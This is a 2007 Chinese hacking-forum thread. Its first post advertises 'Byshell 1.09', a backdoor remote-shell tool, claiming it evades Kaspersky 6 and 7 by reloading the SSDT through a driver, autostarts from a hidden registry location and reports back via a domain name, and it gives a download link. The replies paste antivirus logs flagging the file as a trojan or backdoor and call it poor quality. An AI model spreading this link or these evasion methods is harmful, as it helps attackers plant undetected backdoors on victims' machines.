穿卡巴6、7完整主防，不修改时间！Byshell 1.09 Build 0907 下载

显示全部楼层 · 发表于 2007-10-4 14:22:16

Byshell 1.09 Build 0907 下载

穿卡巴6、7完整主动防御，不修改系统时间，不模拟点击，系统不卡，卡巴不出错退出，完全无提示。

穿透部分采用加载驱动重载SSDT列表，卡巴无反应，无提示，可以在卡巴6、7全防下启动CmdShell。

特殊启动方式，隐蔽性好，非服务方式启动。注册表特殊位置启动，常见工具不检查该位置的启动项

增加了域名上线支持

客户端线程做了优化，更为节省资源

下载地址：

http://www.steelkernel.com/download/Byshell_0907.rar

显示全部楼层 · 发表于 2007-10-4 14:24:40

2007-10-4 14:24:25 1191479065 Administrator 2936 Sign of "Win32:Agent-CBE [Trj]" has been found in "C:\Documents and Settings\Administrator\桌面\Byshell_0907.rar\Byshell.exe\[Embedded#599a0]\[Embedded#0d050]" file.
2007-10-4 14:24:27 1191479067 Administrator 2936 Sign of "Win32:Agent-CBE [Trj]" has been found in "C:\Documents and Settings\Administrator\桌面\Byshell_0907.rar\Byshell.exe\[Embedded#599a0]" file.
2007-10-4 14:24:27 1191479067 Administrator 2936 Sign of "Win32:Agent-CBE [Trj]" has been found in "C:\Documents and Settings\Administrator\桌面\Byshell_0907.rar\Byshell.exe" file.

显示全部楼层 · 发表于 2007-10-4 14:30:33

Byshell.exe连xp墙都过不了.

显示全部楼层 · 发表于 2007-10-4 14:31:56

已删除：木马程序 Backdoor.Win32.Visel.q 文件: F:\10.4\Byshell_0907.rar/Byshell.exe

显示全部楼层 · 发表于 2007-10-4 14:33:43

显示全部楼层 · 发表于 2007-10-4 14:33:55

Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\Byshell_0907.rar'
C:\TDDOWNLOAD\
  Byshell_0907.rar
[0] Archive type: RAR
--> Byshell.exe
      [DETECTION] Is the Trojan horse TR/Agent.194136
      [WARNING] Infected files in archives cannot be repaired!
--> QQwry.dat
--> ByShell.exe.manifest
      [WARNING] The file was ignored!

End of the scan: 2007年10月3日  23:33
Used time: 00:05 min

The scan has been done completely.

   0 Scanning directories
   4 Files were scanned
   1 viruses and/or unwanted programs were found
   0 Files were classified as suspicious:
   0 files were deleted
   0 files were repaired
   0 files were moved to quarantine
   0 files were renamed
   0 Files cannot be scanned
   3 Files not concerned
   1 Archives were scanned
   2 Warnings
   0 Notes

显示全部楼层 · 发表于 2007-10-4 14:39:09

瑞星病毒查杀结果报告

清除病毒种类列表：
病毒： Backdoor.Win32.Agent.yfp

用户来源：互联网

软件版本：20.12.30

显示全部楼层 · 发表于 2007-10-4 16:17:43

这个做得质量不行啊

显示全部楼层 · 发表于 2007-10-4 17:18:53

卡巴斯基反病毒软件 7.0

The requested URL http://www.steelkernel.com/download/Byshell_0907.rar is infected with Backdoor.Win32.Visel.q virus

显示全部楼层 · 发表于 2007-10-4 20:08:31

这个做得质量确实不行啊，卡巴7主动防御可以拦截

[其他相关] 穿卡巴6、7完整主防，不修改时间！Byshell 1.09 Build 0907 下载

本帖子中包含更多资源